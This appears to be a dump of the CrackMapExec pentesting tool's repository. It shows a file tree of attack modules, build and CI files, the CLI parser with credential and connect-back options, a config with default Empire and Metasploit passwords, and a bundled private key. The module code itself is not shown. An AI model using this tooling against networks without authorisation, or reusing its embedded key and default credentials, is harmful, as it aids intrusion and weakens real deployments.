├── .dockerignore
├── .github
    ├── FUNDING.yml
    ├── ISSUE_TEMPLATE.md
    ├── ISSUE_TEMPLATE
    │   └── bug_report.md
    └── workflows
    │   └── crackmapexec.yml
├── .gitignore
├── .gitlab-ci.yml
├── .gitmodules
├── Dockerfile
├── LICENSE
├── Makefile
├── README.md
├── build_collector.py
├── cme
    ├── .hooks
    │   └── hook-lsassy.py
    ├── __init__.py
    ├── cli.py
    ├── cmedb.py
    ├── connection.py
    ├── context.py
    ├── crackmapexec.py
    ├── data
    │   ├── cme.conf
    │   ├── cme.ico
    │   ├── default.pem
    │   └── videos_for_darrell.harambe
    ├── first_run.py
    ├── helpers
    │   ├── __init__.py
    │   ├── bash.py
    │   ├── bloodhound.py
    │   ├── http.py
    │   ├── logger.py
    │   ├── misc.py
    │   └── powershell.py
    ├── loaders
    │   ├── __init__.py
    │   ├── module_loader.py
    │   └── protocol_loader.py
    ├── logger.py
    ├── modules
    │   ├── IOXIDResolver.py
    │   ├── MachineAccountQuota.py
    │   ├── adcs.py
    │   ├── bh_owned.py
    │   ├── dfscoerce.py
    │   ├── drop_searchConnector-ms.py
    │   ├── empire_exec.py
    │   ├── enum_avproducts.py
    │   ├── enum_dns.py
    │   ├── example_module.py
    │   ├── get_description.py
    │   ├── get_netconnections.py
    │   ├── gpp_autologin.py
    │   ├── gpp_password.py
    │   ├── handlekatz.py
    │   ├── hash_spider.py
    │   ├── laps.py
    │   ├── ldap-checker.py
    │   ├── ldap-signing.py
    │   ├── lsassy_dump.py
    │   ├── met_inject.py
    │   ├── ms17-010.py
    │   ├── mssql_priv.py
    │   ├── nanodump.py
    │   ├── nopac.py
    │   ├── petitpotam.py
    │   ├── procdump.py
    │   ├── rdp.py
    │   ├── runasppl.py
    │   ├── scuffy.py
    │   ├── shadowcoerce.py
    │   ├── slinky.py
    │   ├── spider_plus.py
    │   ├── spooler.py
    │   ├── subnets.py
    │   ├── test_connection.py
    │   ├── uac.py
    │   ├── user_description.py
    │   ├── wdigest.py
    │   ├── web_delivery.py
    │   ├── webdav.py
    │   ├── wireless.py
    │   └── zerologon.py
    ├── parsers
    │   ├── __init__.py
    │   ├── ip.py
    │   ├── nessus.py
    │   └── nmap.py
    ├── protocols
    │   ├── __init__.py
    │   ├── ldap.py
    │   ├── ldap
    │   │   ├── __init__.py
    │   │   ├── database.py
    │   │   ├── db_navigator.py
    │   │   ├── kerberos.py
    │   │   └── smbldap.py
    │   ├── mssql.py
    │   ├── mssql
    │   │   ├── __init__.py
    │   │   ├── database.py
    │   │   ├── db_navigator.py
    │   │   └── mssqlexec.py
    │   ├── rdp.py
    │   ├── rdp
    │   │   ├── __init__.py
    │   │   ├── database.py
    │   │   └── db_navigator.py
    │   ├── smb.py
    │   ├── smb
    │   │   ├── __init__.py
    │   │   ├── atexec.py
    │   │   ├── database.py
    │   │   ├── db_navigator.py
    │   │   ├── mmcexec.py
    │   │   ├── passpol.py
    │   │   ├── remotefile.py
    │   │   ├── samruser.py
    │   │   ├── smbexec.py
    │   │   ├── smbspider.py
    │   │   └── wmiexec.py
    │   ├── ssh.py
    │   ├── ssh
    │   │   ├── __init__.py
    │   │   ├── database.py
    │   │   └── db_navigator.py
    │   ├── winrm.py
    │   └── winrm
    │   │   ├── __init__.py
    │   │   ├── database.py
    │   │   └── db_navigator.py
    └── servers
    │   ├── __init__.py
    │   ├── http.py
    │   └── smb.py
├── crackmapexec.spec
├── flake.lock
├── flake.nix
├── poetry.lock
├── pyproject.toml
├── requirements.txt
└── shell.nix
/.dockerignore:
--------------------------------------------------------------------------------
 1 | tests
 2 | Dockerfile
 3 | *.pyc
 4 | *.pyo
 5 | *.pyd
 6 | __pycache__
 7 | .vscode
 8 | .venv
 9 | .github
10 | build
11 | bin
12 | dist
13 | *.egg-info
14 | cme/data/powersploit/Recon/Dictionaries
15 | cme/data/powersploit/Exfiltration/NTFSParser
16 | cme/data/powersploit/CodeExecution/Invoke-ReflectivePEInjection_Resources
17 | cme/data/powersploit/Exfiltration/LogonUser
18 | cme/data/powersploit/Tests
19 | cme/data/netripper/DLL
20 | cme/data/netripper/Metasploit
21 | cme/data/netripper/NetRipper
22 | cme/data/netripper/Win32
23 | cme/data/netripper/Release
24 | cme/data/netripper/minhook
25 | cme/data/netripper/x64
26 | cme/data/netripper/*.pdf
27 | cme/data/netripper/*.sln
28 | cme/data/invoke-vnc/winvnc
29 | cme/data/invoke-vnc/vncdll
30 | cme/data/invoke-vnc/pebytes.ps1
31 | cme/data/invoke-vnc/ReflectiveDLLInjection
32 | cme/data/invoke-vnc/*.py
33 | cme/data/invoke-vnc/*.bat
34 | cme/data/invoke-vnc/*.msbuild
35 | cme/data/invoke-vnc/*.sln
36 | cme/data/RID-Hijacking/modules
37 | cme/data/RID-Hijacking/slides
--------------------------------------------------------------------------------
/.github/FUNDING.yml:
--------------------------------------------------------------------------------
1 | # These are supported funding model platforms
2 | 
3 | custom: https://porchetta.industries/
4 | 
--------------------------------------------------------------------------------
/.github/ISSUE_TEMPLATE.md:
--------------------------------------------------------------------------------
 1 | ## Steps to reproduce
 2 | 
 3 | 1. ...
 4 | 2. ...
 5 | 
 6 | ## Command string used
 7 | 
 8 | ## CME verbose output (using the --verbose flag)
 9 | 
10 | ## CME Version (cme --version)
11 | 
12 | ## OS
13 | 
14 | ## Target OS
15 | 
16 | ## Detailed issue explanation
17 | 
--------------------------------------------------------------------------------
/.github/ISSUE_TEMPLATE/bug_report.md:
--------------------------------------------------------------------------------
 1 | ---
 2 | name: Bug report
 3 | about: Create a report to help us improve
 4 | title: ''
 5 | labels: ''
 6 | assignees: ''
 7 | 
 8 | ---
 9 | 
10 | **Describe the bug**
11 | A clear and concise description of what the bug is.
12 | 
13 | **To Reproduce**
14 | Steps to reproduce the behavior:
15 | 1. Go to '...'
16 | 2. Click on '....'
17 | 3. Scroll down to '....'
18 | 4. See error
19 | 
20 | **Expected behavior**
21 | A clear and concise description of what you expected to happen.
22 | 
23 | **Screenshots**
24 | If applicable, add screenshots to help explain your problem.
25 | 
26 | **Crackmapexec info**
27 |  - OS: [e.g. Kali]
28 |  - Version of CME [e.g. v5.0.2]
29 |  - Installed from apt or using latest release ? Please try with latest release before openning an issue
30 | 
31 | **Additional context**
32 | Add any other context about the problem here.
33 | 
--------------------------------------------------------------------------------
/.github/workflows/crackmapexec.yml:
--------------------------------------------------------------------------------
 1 | name: CrackMapExec Tests & Build
 2 | 
 3 | on:
 4 |   workflow_dispatch:
 5 |     branches: [ main ]
 6 |   push:
 7 |     branches: [ main ]
 8 |   pull_request:
 9 |     branches: [ main ]
10 | 
11 | jobs:
12 |   build:
13 |     name: CrackMapExec Tests on ${{ matrix.os }}
14 |     runs-on: ${{ matrix.os }}
15 |     strategy:
16 |       max-parallel: 4
17 |       matrix:
18 |         os: [ubuntu-latest, macOS-latest, windows-latest]
19 |         python-version: ['3.8', '3.9', '3.10']
20 |     steps:
21 |     - uses: actions/checkout@v2
22 |       with:
23 |         submodules: 'recursive'
24 |     - name: CrackMapExec tests on ${{ matrix.os }}
25 |       uses: actions/setup-python@v1
26 |     - name: Install aardwolf on macos
27 |       run: |
28 |            if [ "$RUNNER_OS" == "macOS" ]; then
29 |                 pip download --no-binary aardwolf aardwolf
30 |            fi
31 |       shell: bash
32 |     - name: Build binaries with Shiv
33 |       run: |
34 |         pip install shiv
35 |         python build_collector.py
36 |     - name: Upload cme binary
37 |       uses: actions/upload-artifact@master
38 |       with:
39 |         name: cme-${{ matrix.os }}-${{ matrix.python-version }}
40 |         path: bin/cme
41 |     - name: Upload cmedb binary
42 |       uses: actions/upload-artifact@master
43 |       with:
44 |         name: cmedb-${{ matrix.os }}-${{ matrix.python-version }}
45 |         path: bin/cmedb
46 | 
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
 1 | data/cme.db
 2 | *.bak
 3 | *.log
 4 | .venv
 5 | .vscode
 6 | # Byte-compiled / optimized / DLL files
 7 | __pycache__/
 8 | *.py[cod]
 9 | bin/
10 | 
11 | 
12 | # C extensions
13 | *.so
14 | 
15 | # Distribution / packaging
16 | .Python
17 | env/
18 | build/
19 | develop-eggs/
20 | dist/
21 | downloads/
22 | eggs/
23 | .eggs/
24 | lib/
25 | lib64/
26 | parts/
27 | sdist/
28 | var/
29 | *.egg-info/
30 | .installed.cfg
31 | *.egg
32 | 
33 | # PyInstaller
34 | #  Usually these files are written by a python script from a template
35 | #  before PyInstaller builds the exe, so as to inject date/other infos into it.
36 | *.manifest
37 | *.spec
38 | !crackmapexec.spec
39 | 
40 | # Installer logs
41 | pip-log.txt
42 | pip-delete-this-directory.txt
43 | 
44 | # Unit test / coverage reports
45 | htmlcov/
46 | .tox/
47 | .coverage
48 | .coverage.*
49 | .cache
50 | nosetests.xml
51 | coverage.xml
52 | *,cover
53 | 
54 | # Translations
55 | *.mo
56 | *.pot
57 | 
58 | # Django stuff:
59 | *.log
60 | 
61 | # Sphinx documentation
62 | docs/_build/
63 | 
64 | # PyBuilder
65 | target/
66 | 
--------------------------------------------------------------------------------
/.gitlab-ci.yml:
--------------------------------------------------------------------------------
 1 | stages :
 2 |   - build
 3 | 
 4 | build_linux :
 5 |   image:  python:3.8-slim
 6 |   stage:  build
 7 |   before_script:
 8 |     - apt update
 9 |     - apt install -y git
10 |     - git submodule update --init --recursive
11 |     - pip install shiv
12 |   script: 
13 |     - python build_collector.py
14 |   artifacts:
15 |     untracked: false
16 |     expire_in: 30 days
17 |     paths:  ["./bin/cme", "./bin/cmedb"]
18 | 
--------------------------------------------------------------------------------
/.gitmodules:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/.gitmodules
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
 1 | FROM python:3.8-slim
 2 | 
 3 | ENV LANG=C.UTF-8
 4 | ENV LC_ALL=C.UTF-8
 5 | ENV PIP_NO_CACHE_DIR=off
 6 | 
 7 | WORKDIR /usr/src/crackmapexec
 8 | 
 9 | RUN apt-get update && \
10 |     apt-get install -y libffi-dev libxml2-dev libxslt-dev libssl-dev openssl autoconf g++ python3-dev libkrb5-dev git
11 | 
12 | COPY . .
13 | 
14 | RUN pip install .
15 | 
16 | ENTRYPOINT [ "cme" ]
17 | 
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
 1 | Copyright (c) 2022, byt3bl33d3r, mpgn_x64
 2 | All rights reserved.
 3 | 
 4 | Redistribution and use in source and binary forms, with or without
 5 | modification, are permitted provided that the following conditions are met:
 6 | 
 7 | * Redistributions of source code must retain the above copyright notice, this
 8 |   list of conditions and the following disclaimer.
 9 | 
10 | * Redistributions in binary form must reproduce the above copyright notice,
11 |   this list of conditions and the following disclaimer in the documentation
12 |   and/or other materials provided with the distribution.
13 | 
14 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
15 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
16 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
17 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
18 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
19 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
20 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
21 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
22 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
23 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
24 | 
25 | 
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
 1 | .PHONY: tests
 2 | 
 3 | default: build
 4 | 
 5 | clean:
 6 | 	rm -f -r build/
 7 | 	rm -f -r bin/
 8 | 	rm -f -r dist/
 9 | 	find . -name '*.pyc' -exec rm -f {} +
10 | 	find . -name '*.pyo' -exec rm -f {} +
11 | 	find . -name '*~' -exec rm -f  {} +
12 | 	find . -name '__pycache__' -exec rm -rf {} +
13 | 	find . -name '.pytest_cache' -exec rm -rf {} +
14 | 
15 | tests:
16 | 	flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics --exclude cme/data/*
17 | 
18 | requirements:
19 | 	poetry export --without-hashes -f requirements.txt -o requirements.txt
20 | 	poetry export --without-hashes --dev -f requirements.txt -o requirements-dev.txt
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 |  [](https://twitter.com/intent/follow?screen_name=byt3bl33d3r) [](https://twitter.com/intent/follow?screen_name=mpgn_x64)
 2 | 
 3 | :triangular_flag_on_post: This is the public repository of CrackMapExec, for latest version and updates please consider supporting us through https://porchetta.industries/
 4 | 
 5 | # CrackMapExec
 6 | 
 7 | 
 8 |    9 |
 9 | 
10 | 
11 | 
12 | ## In partnership with
13 | 
14 | 
15 |  
16 |    17 |  
18 |  
19 |   
20 |
17 |  
18 |  
19 |   
20 |      21 |   
22 |
 
21 |   
22 | 
23 | 
24 | ## :triangular_flag_on_post: Sponsors
25 | 
26 | If you want to sponsors this project and have the latest updates on CME, latest issues fixed, latest features, please support us on https://porchetta.industries/
27 | 
28 | ## Official Discord Channel
29 | 
30 | Come hang out on Discord!
31 | 
32 | [](https://discord.gg/ycGXUxy)
33 | 
34 | # Acknowledgments
35 | **(These are the people who did the hard stuff)**
36 | 
37 | This project was originally inspired by:
38 | - [CredCrack](https://github.com/gojhonny/CredCrack)
39 | - [smbexec](https://github.com/pentestgeek/smbexec)
40 | - [smbmap](https://github.com/ShawnDEvans/smbmap)
41 | 
42 | Unintentional contributors:
43 | 
44 | - The [Empire](https://github.com/PowerShellEmpire/Empire) project
45 | - @T-S-A's [smbspider](https://github.com/T-S-A/smbspider) script
46 | - @ConsciousHacker's partial Python port of Invoke-obfuscation from the [GreatSCT](https://github.com/GreatSCT/GreatSCT) project
47 | 
48 | # Documentation, Tutorials, Examples
49 | See the project's [wiki](https://mpgn.gitbook.io/crackmapexec/) for documentation and usage examples
50 | 
51 | # Installation
52 | Please see the installation on the [GitBook](https://mpgn.gitbook.io/crackmapexec/)
53 | 
54 | # To do
55 | - ~~0wn everything~~
56 | 
--------------------------------------------------------------------------------
/build_collector.py:
--------------------------------------------------------------------------------
 1 | # -*- coding: latin-1 -*-
 2 | 
 3 | import os
 4 | import shutil
 5 | import subprocess
 6 | import sys
 7 | import time
 8 | import zipfile
 9 | from datetime import datetime
10 | from pathlib import Path
11 | 
12 | from shiv.bootstrap import Environment
13 | 
14 | # from distutils.ccompiler import new_compiler
15 | from shiv.builder import create_archive
16 | from shiv.cli import __version__ as VERSION
17 | 
18 | def build_cme():
19 |     print("building CME")
20 |     try:
21 |         shutil.rmtree("build")
22 |         shutil.rmtree("bin")
23 |     except:
24 |         pass
25 | 
26 |     try:
27 |         print("remove useless files")
28 |         os.mkdir("build")
29 |         os.mkdir("bin")
30 |         shutil.copytree("cme", "build/cme")
31 |         
32 |     except Exception as e:
33 |         print(e)
34 |         return
35 | 
36 |     subprocess.run(
37 |         [sys.executable, "-m", "pip", "install", "-r", "requirements.txt" ,"-t", "build"],
38 |         check=True
39 |     )
40 | 
41 |     #[shutil.rmtree(p) for p in Path("build").glob("**/__pycache__")]
42 |     [shutil.rmtree(p) for p in Path("build").glob("**/*.dist-info")]
43 | 
44 |     env = Environment(
45 |         built_at=datetime.utcfromtimestamp(int(time.time())).strftime(
46 |             "%Y-%m-%d %H:%M:%S"
47 |         ),
48 |         entry_point="cme.crackmapexec:main",
49 |         script=None,
50 |         compile_pyc=False,
51 |         extend_pythonpath=True,
52 |         shiv_version=VERSION,
53 |     )
54 |     create_archive(
55 |         [Path("build").absolute()],
56 |         Path("bin/cme"),
57 |         "/usr/bin/env -S python3 -sE",
58 |         "_bootstrap:bootstrap",
59 |         env,
60 |         True,
61 |     )
62 | 
63 | def build_cmedb():
64 |     print("building CMEDB")
65 |     env = Environment(
66 |         built_at=datetime.utcfromtimestamp(int(time.time())).strftime(
67 |             "%Y-%m-%d %H:%M:%S"
68 |         ),
69 |         entry_point="cme.cmedb:main",
70 |         script=None,
71 |         compile_pyc=False,
72 |         extend_pythonpath=True,
73 |         shiv_version=VERSION,
74 |     )
75 |     create_archive(
76 |         [Path("build").absolute()],
77 |         Path("bin/cmedb"),
78 |         "/usr/bin/env -S python3 -sE",
79 |         "_bootstrap:bootstrap",
80 |         env,
81 |         True,
82 |     )
83 | 
84 | if __name__ == "__main__":
85 |     try:
86 |         build_cme()
87 |         build_cmedb()
88 |     except:
89 |         pass
90 |     finally:
91 |         shutil.rmtree("build")
92 | 
--------------------------------------------------------------------------------
/cme/.hooks/hook-lsassy.py:
--------------------------------------------------------------------------------
1 | # -*- coding:utf-8 -*-
2 | 
3 | from PyInstaller.utils.hooks import collect_all
4 | datas, binaries, hiddenimports = collect_all("lsassy")
5 | 
--------------------------------------------------------------------------------
/cme/__init__.py:
--------------------------------------------------------------------------------
1 | # import sys
2 | # import os
3 | # import cme
4 | 
5 | # thirdparty_modules = os.path.join(os.path.dirname(cme.__file__), 'thirdparty')
6 | 
7 | # for module in os.listdir(thirdparty_modules):
8 | #     sys.path.insert(0, os.path.join(thirdparty_modules, module))
9 | 
--------------------------------------------------------------------------------
/cme/cli.py:
--------------------------------------------------------------------------------
 1 | import argparse
 2 | import sys
 3 | from argparse import RawTextHelpFormatter
 4 | from cme.loaders.protocol_loader import protocol_loader
 5 | from cme.helpers.logger import highlight
 6 | from termcolor import colored
 7 | 
 8 | def gen_cli_args():
 9 | 
10 |     VERSION  = '5.3.0'
11 |     CODENAME = "Operation C01NS"
12 | 
13 |     p_loader =  protocol_loader()
14 |     protocols = p_loader.get_protocols()
15 | 
16 |     parser = argparse.ArgumentParser(description=f"""
17 |       ______ .______           ___        ______  __  ___ .___  ___.      ___      .______    _______ ___   ___  _______   ______
18 |      /      ||   _  \         /   \      /      ||  |/  / |   \/   |     /   \     |   _  \  |   ____|\  \ /  / |   ____| /      |
19 |     |  ,----'|  |_)  |       /  ^  \    |  ,----'|  '  /  |  \  /  |    /  ^  \    |  |_)  | |  |__    \  V  /  |  |__   |  ,----'
20 |     |  |     |      /       /  /_\  \   |  |     |    <   |  |\/|  |   /  /_\  \   |   ___/  |   __|    >   <   |   __|  |  |
21 |     |  `----.|  |\  \----. /  _____  \  |  `----.|  .  \  |  |  |  |  /  _____  \  |  |      |  |____  /  .  \  |  |____ |  `----.
22 |      \______|| _| `._____|/__/     \__\  \______||__|\__\ |__|  |__| /__/     \__\ | _|      |_______|/__/ \__\ |_______| \______|
23 | 
24 |                                                 A swiss army knife for pentesting networks
25 |                                     Forged by @byt3bl33d3r and @mpgn_x64 using the powah of dank memes
26 | 
27 |                                            {colored("Exclusive release for Porchetta Industries users", "magenta")}
28 |                                                        {colored("https://porchetta.industries/", "magenta")}
29 | 
30 |                                                    {highlight('Version', 'red')} : {highlight(VERSION)}
31 |                                                    {highlight('Codename', 'red')}: {highlight(CODENAME)}
32 | """,
33 | 
34 |     formatter_class=RawTextHelpFormatter)
35 | 
36 |     parser.add_argument("-t", type=int, dest="threads", default=100, help="set how many concurrent threads to use (default: 100)")
37 |     parser.add_argument("--timeout", default=None, type=int, help='max timeout in seconds of each thread (default: None)')
38 |     parser.add_argument("--jitter", metavar='INTERVAL', type=str, help='sets a random delay between each connection (default: None)')
39 |     parser.add_argument("--darrell", action='store_true', help='give Darrell a hand')
40 |     parser.add_argument("--verbose", action='store_true', help="enable verbose output")
41 | 
42 |     subparsers = parser.add_subparsers(title='protocols', dest='protocol', description='available protocols')
43 | 
44 |     std_parser = argparse.ArgumentParser(add_help=False)
45 |     std_parser.add_argument("target", nargs='*', type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
46 |     std_parser.add_argument('-id', metavar="CRED_ID", nargs='+', default=[], type=str, dest='cred_id', help='database credential ID(s) to use for authentication')
47 |     std_parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='+', default=[], help="username(s) or file(s) containing usernames")
48 |     std_parser.add_argument("-p", metavar="PASSWORD", dest='password', nargs='+', default=[], help="password(s) or file(s) containing passwords")
49 |     std_parser.add_argument("-k", "--kerberos", action='store_true', help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
50 |     std_parser.add_argument("--export", metavar="EXPORT", nargs='+', help="Export result into a file, probably buggy")
51 |     std_parser.add_argument("--aesKey",  metavar="AESKEY", nargs='+', help="AES key to use for Kerberos Authentication (128 or 256 bits)")
52 |     std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
53 | 
54 |     fail_group = std_parser.add_mutually_exclusive_group()
55 |     fail_group.add_argument("--gfail-limit", metavar='LIMIT', type=int, help='max number of global failed login attempts')
56 |     fail_group.add_argument("--ufail-limit", metavar='LIMIT', type=int, help='max number of failed login attempts per username')
57 |     fail_group.add_argument("--fail-limit", metavar='LIMIT', type=int, help='max number of failed login attempts per host')
58 | 
59 |     module_parser = argparse.ArgumentParser(add_help=False)
60 |     mgroup = module_parser.add_mutually_exclusive_group()
61 |     mgroup.add_argument("-M", "--module", metavar='MODULE', help='module to use')
62 |     #mgroup.add_argument('-MC','--module-chain', metavar='CHAIN_COMMAND', help='Payload module chain command string to run')
63 |     module_parser.add_argument('-o', metavar='MODULE_OPTION', nargs='+', default=[], dest='module_options', help='module options')
64 |     module_parser.add_argument('-L', '--list-modules', action='store_true', help='list available modules')
65 |     module_parser.add_argument('--options', dest='show_module_options', action='store_true', help='display module options')
66 |     module_parser.add_argument("--server", choices={'http', 'https'}, default='https', help='use the selected server (default: https)')
67 |     module_parser.add_argument("--server-host", type=str, default='0.0.0.0', metavar='HOST', help='IP to bind the server to (default: 0.0.0.0)')
68 |     module_parser.add_argument("--server-port", metavar='PORT', type=int, help='start the server on the specified port')
69 |     module_parser.add_argument("--connectback-host", type=str, metavar='CHOST', help='IP for the remote system to connect back to (default: same as server-host)')
70 | 
71 |     for protocol in protocols.keys():
72 |         protocol_object = p_loader.load_protocol(protocols[protocol]['path'])
73 |         subparsers = getattr(protocol_object, protocol).proto_args(subparsers, std_parser, module_parser)
74 | 
75 |     if len(sys.argv) == 1:
76 |         parser.print_help()
77 |         sys.exit(1)
78 | 
79 |     args = parser.parse_args()
80 | 
81 |     return args
82 | 
--------------------------------------------------------------------------------
/cme/context.py:
--------------------------------------------------------------------------------
 1 | import logging
 2 | import os
 3 | import configparser
 4 | 
 5 | class Context:
 6 | 
 7 |     def __init__(self, db, logger, args):
 8 |         self.db = db
 9 |         self.log = logger
10 |         self.log.debug = logging.debug
11 |         self.log_folder_path = os.path.join(os.path.expanduser('~/.cme'), 'logs')
12 |         self.localip = None
13 | 
14 |         self.conf = configparser.ConfigParser()
15 |         self.conf.read(os.path.expanduser('~/.cme/cme.conf'))
16 | 
17 |         for key, value in vars(args).items():
18 |             setattr(self, key, value)
19 | 
--------------------------------------------------------------------------------
/cme/data/cme.conf:
--------------------------------------------------------------------------------
 1 | [CME]
 2 | workspace = default
 3 | last_used_db = smb
 4 | pwn3d_label = Pwn3d!
 5 | audit_mode =
 6 | 
 7 | [BloodHound]
 8 | bh_enabled = False
 9 | bh_uri = 127.0.0.1
10 | bh_port = 7687
11 | bh_user = neo4j
12 | bh_pass = neo4j
13 | 
14 | [Empire]
15 | api_host = 127.0.0.1
16 | api_port = 1337
17 | username = empireadmin
18 | password = Password123!
19 | 
20 | [Metasploit]
21 | rpc_host = 127.0.0.1
22 | rpc_port = 55552
23 | password = abc123
24 | 
25 | 
--------------------------------------------------------------------------------
/cme/data/cme.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/data/cme.ico
--------------------------------------------------------------------------------
/cme/data/default.pem:
--------------------------------------------------------------------------------
 1 | -----BEGIN PRIVATE KEY-----
 2 | MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDLRxCDVVXmjcFW
 3 | rvuwIZh6ywLNtffsTFQ2QAykUTl6CGzn+rpoz/s/AX7s2/dWkv+pcUULNNeH2Ae9
 4 | YNhM7vQqDzKA4Rj1FzVO9LIQot3F32e9SQWk2zJ0dia3uaxrrZTQeLOpISa9g3Q0
 5 | nnvflX2KjarZ/OUrxSJA3HRgx0C0N7bmyC/jXSeM8cLQxJjIdNpxeMfSA5koeEEJ
 6 | hzaWZLgtJpX5NOxpeJBRfhPSOL3r2t2qUGnzctvHbPZmdyRwIRCAiJNSHZd+CirC
 7 | ayplzdaxDZ0rlMcpaeodOTpusBLmAWEP6uQEKrRBgL+AVOo7DpncIbmMQPkSA3La
 8 | Slyh+dgRAgMBAAECggEBAJW58l/KK0t2fkHrAVfqZvWLMrVyovpZ/m03IBin+z33
 9 | lsAH3eX1y4nNAEBWhQgvnkCgPcrTUS2t4YWMH8YK+60/JGPpaQid35YYhk/app9o
10 | vnCdqJqVGcTOghYxnN5zLHmhbjPVR0Ov35giY/t7kMzNLFsD+4kR2vkLaG0gVnhm
11 | gAZ0M7bN35LQT0Wk1SFjVPLwdsPb/Jvxo7ly7wVv7Y2D1vNCYoBQGoFL7/noGene
12 | mMQ+OVawP58KqoYn/WRLI9zmTWzohXvYJYvm+SiXultB4aBGgp4saYjD8gwSOBml
13 | wbz2LyRCcDVi46yDcy7iSLmMr6c4ZdkUpxRvtPJI5wECgYEA+AgBrSdOoU+pzPas
14 | HlrprQEn5XHn990wfJj5N77MtpJu7Gmf/0tWGQQ3wohmu8dfNZrE8ZsEupRUVIYh
15 | 5mLOWMmujkjNpp6A5LzZcp3hnLklORoUirZka66QgC9RSYv08PlPLy7ru+aHYsg1
16 | uPZNcf+KgpQoCg10LFrXaCh8GlUCgYEA0c74b1Rxg2+Dr3pGfvoZcQhtg1FUOWR9
17 | poNFkkV7vAnzoR9xLDvRtsOcGL7fu/WDtBg/XsddzfaKtU2cE05cF888OV+TYs6U
18 | Cturp+pz+Yyslh6x3AgygnpMGJp6rk5D9LLHmIWPpCPjbBSofEQL9IxKoQOYOlvm
19 | 7VrBu7Kbus0CgYAD6NRl702s+z147pZt8A7o3DDNzArU/FaMUDj1aPt/ETXQYiXU
20 | d1KHGGrslQvRf+X/SU47ZK8hZb8iie602+/WtG8c7QbYznzHnjZrORPaTYzJpqCW
21 | QyO4EstSSeylFSCqP7PA0aODlbGim/dE0BUOa/G59y3eYrHnFRN6H9E89QKBgHHK
22 | +JGhUiPAYsLU5dFOomfc81Cq1qx+JWwffKdVykN1fk7gN8iO9TJUK6B8Peq6wWD3
23 | Wb91EBp6YkbtPf52nJpJStevT8fiVQcCl7pt/dLWinCtWzgEtihwXj9l4a4SQuc/
24 | 4+OEZSDYWiuvlKY5XeaYBI4J3hGg8MHBXJwJxk7tAoGBALBrop1vJVxZt4+Eb9gv
25 | cc5ZRtDi79MXPePDinhRivVi/48LsYoFXRtodjcAMWqAyH7n17Kxkvl1rRsaNAq/
26 | H4F0kXuTXReV3LtZmZTLXmju2spGz3e3yKqgB+7dWUauqK44WaO1rYz32hTxLxil
27 | kN8k77KmfNkqz+9WY6S4CqIh
28 | -----END PRIVATE KEY-----
29 | -----BEGIN CERTIFICATE-----
30 | MIIC+zCCAeOgAwIBAgIUPjiFj6PH8T2dFrcwoqL7bHkXKfQwDQYJKoZIhvcNAQEL
31 | BQAwDTELMAkGA1UEBhMCVVMwHhcNMjAwNTEwMTAyMzA5WhcNMjEwNTEwMTAyMzA5
32 | WjANMQswCQYDVQQGEwJVUzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
33 | AMtHEINVVeaNwVau+7AhmHrLAs219+xMVDZADKRROXoIbOf6umjP+z8Bfuzb91aS
34 | /6lxRQs014fYB71g2Ezu9CoPMoDhGPUXNU70shCi3cXfZ71JBaTbMnR2Jre5rGut
35 | lNB4s6khJr2DdDSee9+VfYqNqtn85SvFIkDcdGDHQLQ3tubIL+NdJ4zxwtDEmMh0
36 | 2nF4x9IDmSh4QQmHNpZkuC0mlfk07Gl4kFF+E9I4veva3apQafNy28ds9mZ3JHAh
37 | EICIk1Idl34KKsJrKmXN1rENnSuUxylp6h05Om6wEuYBYQ/q5AQqtEGAv4BU6jsO
38 | mdwhuYxA+RIDctpKXKH52BECAwEAAaNTMFEwHQYDVR0OBBYEFO+GlEFEBLb5Rv8x
39 | bx/bsBBNgwSxMB8GA1UdIwQYMBaAFO+GlEFEBLb5Rv8xbx/bsBBNgwSxMA8GA1Ud
40 | EwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAHU17UUlL2rl+xLdBDRqcVBb
41 | DUWwvmkBL22G05LcIIjlA7YeeKHBA0D6ppulTZ+HWZ2mo2n10bIso+SryytGrU0g
42 | p9Rt+mUDiWOQJWi0W6VAhK72wsJG5DnRdf5yXjbsY065iA4Q5UfhQd7TsR3q4EkD
43 | 5ziOrKiuB5T3PR48aE/Cpg0aTGpx05OEVG6un1xwUpT6d6j5qP2IELaCG446ZZIO
44 | 0BrvUoOTwYCV6UhhV1F3xirVFpUwTtp8Ms/fst4vSX9/6PgyBd09icB+O8t9LhXG
